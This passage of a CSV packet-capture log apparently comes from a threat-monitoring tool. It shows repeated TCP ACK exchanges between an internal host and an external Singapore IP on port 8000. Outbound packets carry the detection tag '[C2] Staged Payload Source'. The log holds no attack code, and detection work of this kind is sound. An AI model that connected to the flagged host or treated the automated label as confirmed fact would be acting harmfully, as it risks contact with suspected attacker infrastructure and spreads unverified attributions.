Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0b4000400643e8c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60427, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17384, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:25.849074,543,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a2400080063f5c0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45218, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16220, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:25.849082,544,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0c4000400643e7c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60428, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17383, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:26.864690,545,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a3400080063f5b0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45219, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16219, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:26.864708,546,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0d4000400643e6c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4.\n@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60429, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17382, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:27.880295,547,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a4400080063f5a0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45220, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16218, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:27.880307,548,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0e4000400643e5c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60430, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17381, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:28.895959,549,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a5400080063f590a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45221, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16217, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:28.895975,550,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0f4000400643e4c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60431, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17380, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:29.911627,551,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a6400080063f580a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45222, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16216, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:29.911655,552,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec104000400643e3c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60432, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17379, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:30.927291,553,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a7400080063f570a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45223, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16215, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:30.927324,554,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec114000400643e2c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60433, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17378, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:31.927303,555,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a8400080063f560a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45224, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16214, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:31.927320,556,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec124000400643e1c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60434, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17377, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:32.942968,557,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a9400080063f550a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45225, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16213, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:32.943002,558,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec134000400643e0c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60435, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17376, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:33.757397,559,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private 